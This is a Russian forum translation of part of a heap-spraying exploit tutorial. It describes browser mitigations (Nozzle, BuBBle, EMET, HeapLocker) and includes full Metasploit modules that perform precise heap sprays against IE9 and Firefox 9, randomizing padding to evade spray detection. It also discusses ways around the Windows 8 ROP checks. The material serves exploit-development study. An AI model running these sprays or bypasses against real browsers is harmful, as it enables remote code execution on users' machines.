«Раслыление» при помощи изображений, описанное Моше Бен Абу, по-видимому, также работает на IE8, хотя вам может потребоваться добавить некоторую рандомизацию (смотрите главу о heap spray для IE9) внутри изображения, чтобы сделать heap spray более надежным.

Каждое изображение должно соответствовать одному блоку. Таким образом, если вы примените логику, на которую мы опирались в этой главе (повторяя суб-блоки размером 0x1000 байт с padding/rop/shellcode/padding) для изображений, то должны получить точное «распыление» кучи, при котором адрес (0x0C0C0C0C) будет указывать непосредственно на начало rop-цепочки.

Heap Spray протекторы

Nozzle и BuBBle

Nozzle и BuBBle являются примерами защитных механизмов от атак, направленных на heap spraying. Реализованные внутри браузера, они пытаются обнаружить «распыление» и не позволяют ему корректно работать.

В документации, опубликованной Microsoft сказано, что механизм Nozzle пытается обнаружить серии байтов (например, нопслед), которые будут преобразованы в валидные инструкции, предотвращая выделение.

BuBBle основан на том факте, что атаки типа heap spray инициируют выделения памяти, которые содержат одинаковое (или очень похожее) содержимое: нопслед+шеллкод (или паддинг + rop +ш еллкод + паддинг). Если javascript пытается выделить несколько блоков с одинаковым содержимым, BuBBle обнаружит это и предотвратит распределение.

Эта техника реализована в Firefox.

Оба подхода будут успешны в блокировании большинства атак heap spray, которые используют nops + shellcode (или даже nops + rop + shellcode + nops в случае точечного «распыления»). Фактически, когда я тестировал heap spray на более поздних версиях большинства браузеров (IE9, Firefox9), я обнаружил, что оба, скорее всего, реализуют хотя бы один из перечисленных методов.

EMET

EMET – это бесплатная утилита от Microsoft, позволяющая включать различные механизмы защиты, которые уменьшают вероятность того, что эксплойт может быть использован для захвата вашей системы. Вы можете найти краткий обзор того, что делает EMET здесь.

Защита построена на том, что EMET будет предварительно выделять некоторые «популярные» области в памяти. Если такие адреса как 0x0A0A0A0A или 0x0C0C0C0C уже заняты (в данном случае EMET), ваш heap spray будет работать, однако целевой адрес не будет содержать данных, которые вы пытаетесь разместить в качестве полезной нагрузки.

Если вы хотите обезопасить приложение с помощью EMET, то необходимо проставить галочки для исполняемого файла там, где это, на ваш взгляд, необходимо.


Рисунок 79. Пример настройки защиты в EMET для iexplore.exe

HeapLocker

HeapLocker, написанный Дидье Стивенсом, предоставляет еще один механизм защиты от heap spray. Он применяет ряд методов для нивелирования атак, направленных на кучу, включая:

  • «бронирование» определенных областей в памяти (как это делает EMET), инъекция некоторого кастомного шеллкода, показывающего предупреждение с последующим завершением работы приложения
  • Попытки обнаружение нопследа и строк в памяти
  • Мониторинг приватной памяти и возможность установить максимальный объем памяти, который может использоваться для выделений

HeapLocker поставляется в виде dll-файла. Вы можете убедиться, что dll загружается в каждый процесс с помощью LoadDLLViaAppInit или через инклуд dll в IAT приложения, которое необходимо защитить.

Heap Spraying в Internet Explorer 9

Концепция/Скрипт

При тестировании IE9 я обнаружил, что использование heaplib для heap spray не работает. Попробовав несколько техник, я заметил, что в IE9 могут быть реализованы протекторы Nozzle или BuBBle (или что-то очень похожее). Ранее я объяснял, что данные протекторы будут пытаться обнаружить повторяющийся контент и предотвращать их дальнейшее выделение.

Чтобы решить эту проблему, я написал вариант классического использования heaplib, реализованный в виде модуля Metasploit. Данный вариант рандомизирует большую часть выделенного чанка и гарантирует, что каждый чанк имеет разные паддинги (с точки зрения содержимого, а не размера). Данный подход обходит защиту. В конце концов, нам на самом деле не нужны nops. В точечных heap spray паддинг в начале и в конце каждого блока – это просто мусор. Итак, если мы просто используем случайные байты таким образом, что каждый последующий блок отличается от предыдущего, то мы сможем обойти проекторы.

Остальная часть кода очень похожа на ту, что мы использовали в IE8. Из-за DEP (и того факта, что IE9 работает только на ОС Vista и выше), нам нужно использовать точечное «распыление». Хотя, я заметил, что мои выделения в куче не обрабатываются oleaut32, я все же использовал heaplib для распределения блоков. Конечно, специфичные для oleaut32 функции могут и не потребоваться. На самом деле, вам может даже не понадобится использовать heaplib.

Я протестировал скрипт (реализованный в виде модуля Metasploit) в IE9 на полностью пропатченной Vista SP2 и Windows 7 SP1 и задокументировал точные смещения для каждой из версий ОС.

В обоих сценариях я использовал 0x0C0C0C0C в качестве целевого адреса, но вы можете использовать другой адрес и соответственно вычислить необходимое смещение.

Обратите внимание, что в скрипте один блок (который повторяется внутри каждого чанка) составляет 0x800 байт (* 2 = 0x1000). Смещение от начала блока до 0x0C0C0C0C составляет около 0x600 байт, что означает, что у вас есть около 0xA00 байт для rop-цепочки и кода. Если по какой-либо причине этого недостаточно, вы можете поиграться с размером чанка или выбрать более низкий адрес в том же чанке.

Кроме того, вы также можете поместить шеллкод в паддинг перед rop-цепочкой. Так как мы используем повторяющиеся блоки размером 0x800 байт внутри кучи, то за rop-цепочкой следует некоторый паддинг, а затем мы снова попадаем на шеллкод. В паддинге после rop-цепочки вам необходимо выполнить forward jump (который пропустит оставшуюся часть паддинга в конце блока 0x1000) в шеллкод, помещенный в начале следующего блока.


Рисунок 80. Схема двух блоков

Конечно, вы также можете перейти к началу текущего блока и разместить шеллкод в этом месте.
Примечание: zip-файл содержит измененную версию скрипта ниже – подробности об изменениях можно найти в конце этой главы.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IE9 HeapSpray test - corelanc0d3r',
			'Description'    => %q{
					This module demonstrates a heap spray on IE9 (Vista/Windows 7),
					written by corelanc0d3r
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'corelanc0d3r' ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'https://www.corelan.be' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'IE 9 - Vista SP2/Win7 SP1',
						{
						'Ret' => 0x0C0C0C0C,
						'OffSet' => 0x5FE,
						}
					],
				],
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the rop chain 
		rop = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"
		rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

		# Encode some fake shellcode (breakpoints)
		code = "\xcc" * 400
		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x10000);

		var rop = unescape("#{rop_js}");   	//ROP Chain
		var code = unescape("#{code_js}");	//Code to execute

		var offset_length = #{target['OffSet']};

		//spray
		for (var i=0; i < 0x800; i++) {

			var randomnumber1=Math.floor(Math.random()*90)+10;
			var randomnumber2=Math.floor(Math.random()*90)+10;
			var randomnumber3=Math.floor(Math.random()*90)+10;
			var randomnumber4=Math.floor(Math.random()*90)+10;

			var paddingstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
			paddingstr += "%u" + randomnumber3.toString() + randomnumber4.toString()

			var padding = unescape(paddingstr);	//random padding

			while (padding.length < 0x1000) padding+= padding; // create big block of padding

			junk_offset = padding.substring(0, offset_length);  // offset to begin of ROP.

			// one block is 0x800 bytes
			// alignment on Vista/Win7 seems to be 0x1000
			// repeating 2 blocks of 0x800 bytes = 0x1000
			// which should make sure alignment to rop will be reliable
			var single_sprayblock = junk_offset + rop + code + padding.substring(0, 0x800 - code.length - junk_offset.length - rop.length);

			// simply repeat the block (just to make it bigger)
			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

			heap_obj.alloc(sprayblock);

		}

		document.write("Spray done");
		alert("Spray done");
		JS

		js = heaplib(spray)

		# build html

		content = <<-HTML
		
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

	end

end

Листинг 20. Содержимое файла heapspray_ie9.rb

На Vista SP2 мы получим следующее:


Рисунок 81. Дамп памяти по адресу 0x0C0C0C0C

На Windows 7 вы должны увидеть тот же результат.

Мало того, что мы выполнили heap spray, так еще и удалось сделать это довольно точно…w00t.

Фактическое распределение было выполнено через вызовы VirtualAllocEx() и размером чанков 0x50000 байт.

Вы можете использовать скрипт virtualalloc.windbg из архива для логирования выделений размером больше 0x3FFFF байт (параметр). Обратите внимание, что скрипт выведет адреса для всех выделений, но параметры VirtualAlloc будут показаны только для тех, что больше 0x3FFFF. В лог-файле просто ищите по подстроке «0x50000»:

hs82
Рисунок 82. Параметры для функции VirtualAllocEx()

Конечно, вы можете использовать этот же скрипт для IE8 – вам придется лишь изменить соответствующие смещения, но сам скрипт будет работать нормально.

Рандомизация++

В дальнейшем код может быть оптимизирован. Вы можете написать небольшую функцию, которая будет возвращать рандомизированный блок заданной длины. Таким образом, паддинг будет случайным, а не повторяющимся блоком размером 4 байта. В конечном итоге это может оказать небольшое влияние на производительность.

function randomblock(blocksize)
{
	var theblock = "";
	for (var i = 0; i < blocksize; i++)
	{
		theblock += Math.floor(Math.random()*90)+10;
	}
	return theblock
}

function tounescape(block)
{
	var blocklen = block.length;
	var unescapestr = "";
	for (var i = 0; i < blocklen-1; i=i+4)
	{
		unescapestr += "%u" + block.substring(i,i+4);
	}
	return unescapestr;
}

thisblock = tounescape(randomblock(400));

hs83
Рисунок 83. Результат выполнения сценария

Примечание: в файле heapspray_ie9.rb уже реализована улучшенная функция рандомизации.

Heap Spraying в Firefox 9.0.1

Предыдущие тесты показали, что классический heap spray больше не работает на Firefox 6 и выше. К сожалению, модифицированные сценарии с использованием heaplib, похоже, также не работают на Firefox 9.

Однако, используя отдельные случайные имена переменных и случайные блоки (вместо использования массива со случайными блоками), мы можем выполнить точечное «распыление» в Firefox.

Я протестировал следующий скрипт в Firefox 9 на XP SP3, Vista SP2 и Windows 7:
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox 9 HeapSpray test - corelanc0d3r',
			'Description'    => %q{
					This module demonstrates a heap spray on Firefox 9,
					written by corelanc0d3r
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'corelanc0d3r' ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'https://www.corelan.be' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'FF9',
						{
						'Ret' => 0x0C0C0C0C,
						'OffSet' => 0x606,
						'Size' => 0x40000
						}
					]
				],
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the rop chain 
		rop = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"
		rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

		# Encode some fake shellcode (breakpoints)
		code = "\xcc" * 400
		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

		spray = <<-JS

		var rop = unescape("#{rop_js}");   	//ROP Chain
		var code = unescape("#{code_js}");	//Code to execute

		var offset_length = #{target['OffSet']};

		//spray
		for (var i=0; i < 0x800; i++)
		{

			var randomnumber1=Math.floor(Math.random()*90)+10;
			var randomnumber2=Math.floor(Math.random()*90)+10;
			var randomnumber3=Math.floor(Math.random()*90)+10;
			var randomnumber4=Math.floor(Math.random()*90)+10;

			var paddingstr = "%u" + randomnumber1.toString() + randomnumber2.toString();
			paddingstr += "%u" + randomnumber3.toString() + randomnumber4.toString();

			var padding = unescape(paddingstr);	//random padding

			while (padding.length < 0x1000) padding+= padding; // create big block of padding

			junk_offset = padding.substring(0, offset_length);  // offset to begin of ROP.

			var single_sprayblock = junk_offset + rop + code;
			single_sprayblock += padding.substring(0,0x800 - offset_length - rop.length - code.length);

			// simply repeat the block (just to make it bigger)
			while (single_sprayblock.length < #{target['Size']}) single_sprayblock += single_sprayblock;

			sprayblock = single_sprayblock.substring(0, (#{target['Size']}-6)/2);

			varname = "var" + randomnumber1.toString() + randomnumber2.toString();
			varname += randomnumber3.toString() + randomnumber4.toString();
			thisvarname = "var " + varname + "= '" + sprayblock +"';";
			eval(thisvarname);

		}

		document.write("Spray done");
		JS

		# build html

		content = <<-HTML
		
			
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

	end

end

Листинг 21. Содержимое файла heapspray_ff9.rb

На Vista SP2 вы должны получить следующее:

hs84
Рисунок 84. Результат выполнения сценария

Примечание: я заметил, что страница иногда зависает и нуждается в перезапуске, чтобы запустить код. Можно обойти это ограничение, поместив небольшую процедуру автоматической перезагрузки в html-заголовок.

И снова, вы можете оптимизировать процедуру рандомизации (точно также, как я делал с модулем для heap spray под IE9), но, полагаю, вы и сами уже догадались.

Heap Spraying в IE10 – Windows 8

Heap Spray

Попытав удачу, я решил попробовать выполнить тот же сценарий на 32-битной версии IE10 (работающей на Windows 8 Developer Preview Edition). Хотя 0x0C0C0C0C не указывал на «распыление», поиск по «AAAABBBBCCCCDDD» вернул много указателей, а это означает, что распределение сработало.

Основываясь на проведенных тестах, похоже, что часть выделений рандомизировано (из-за ASLR), что делает их менее предсказуемыми.

Также я заметил, что все (или почти все) указатели на «AAAABBBBCCCCDDDD» были размещены по адресам, оканчивающимися на 0xc0C.

hs85
Рисунок 85. Указатели на «AAAABBBCCC»

Итак, я решил, что пришло время выполнить несколько «распылений» и перехватить все указатели. Я выполнил скрипт 3 раза и сохранил результаты в директории c:\results…в трех файлах: find1.txt, find2.txt, find3.txt. Затем я использовал mona filecompare, чтобы найти совпадающие указатели в этих трех файлах.

!mona filecompare -f "c:\results\find1.txt,c:\results\find2.txt,c:\results\find3.txt"

В результате не было возвращено ни одного совпадения, но это не означает, что нет никаких перекрывающихся областей памяти, которые могут содержать наши данные.

Я снова запустил filecompare, используя новую опцию -range, которая должна обнаруживать совпадения по указателям из первого файла + 0x1000 байт и в этот раз я обнаружил множество совпадений.


Рисунок 86. Результат вывода совпадений

Это означает, что при выполнении «распыления» блоков кратных 0x1000 байт, 0x0FD31C0C будет указывать на подконтрольную область. Я выполнил этот тест только на собственном компьютере. Чтобы найти предсказуемые адреса мне также понадобятся результаты поиска с других машин. Если у вас есть время, запустите heapspray для IE10 и сохраните вывод команды mona find, чтобы я мог использовать эту информацию в качестве дополнительного источника для сравнения.

ROP и Bypass

Даже если вам удастся выполнить точечный heap spray в IE10, Microsoft внедрила новый механизм защиты от ROP в Windows 8, что еще больше усложняет обход DEP. Некоторые API (которые манипулируют виртуальной памятью) теперь проверяют хранятся ли аргументы вызова API в стеке- реальном стеке (диапазон памяти, связанный со стеком). При изменении ESP, указывающего на кучу вызовы API попросту не будут работать.

Конечно, эти меры по снижению рисков распространяются на всю систему…поэтому, если ваша цель использует браузер или приложение, где возможен heap spray, вам придется иметь это в виду.

Дэн Розенберг и Bkis описали некоторые способы обойти эти ограничения.

Ден опубликовал здесь свои выводы, объяснив возможный способ записи аргументов API в стек.

Процедура основана на том факте, что один из регистров может указывать на полезную нагрузку в куче. Если вы используете гаджет xchg reg, esp + retn для возврата к ROP-цепочке в куче, то этот регистр будет указывать на реальный стек, как только начнет выполняться ROP-цепочка. Используя этот регистр, вы можете записать аргументы в реальный стек и убедиться, что ESP снова указывает на аргументы при вызове API.

Bkis продемонстрировал другую технику, основанную на гаджетах из msvcr71.dll в этом и этом посте. В своем подходе он использовал гаджет, который заканчивается тем, что берет адрес стека из TEB, после чего использовал memcpy(), чтобы скопировать ROP-цепочку + шеллкод в стек и, наконец, вернуться в ROP-цепочку в стеке. Да, аргументы для memcpy() не обязательны находиться в реальном стеке.

Если честно, я не думаю, что будет много модулей, которые инклудят гаджеты для чтения указателя стека через TEB. Так что, возможно, комплексный подход может сработать.

Во-первых, убедитесь, что один из регистров указывает на стек при возврате в кучу и?

  • Вызовите memcpy(), скопировав rop-цепочку + шеллкод в стек (используя сохраненный указатель стека)
  • Вернитесь в стек
  • Запустите ROP-цепочку и выполните шеллкод

© Translated by dirtyharry from r0 Crew

1 Like

@dirtyharry Не каждый осилит, такой объемный перевод, не то что перевести, но и прочитать. Большая работа! Огромное спасибо за перевод!

PS: Извини, что так долго размещали.

1 Like

Ничего страшного :slightly_smiling_face: Материал действительно оказался больше, чем я думал изначально.

1 Like

Присоединяюсь к @Darwin’y , Огромное спасибо за перевод!

1 Like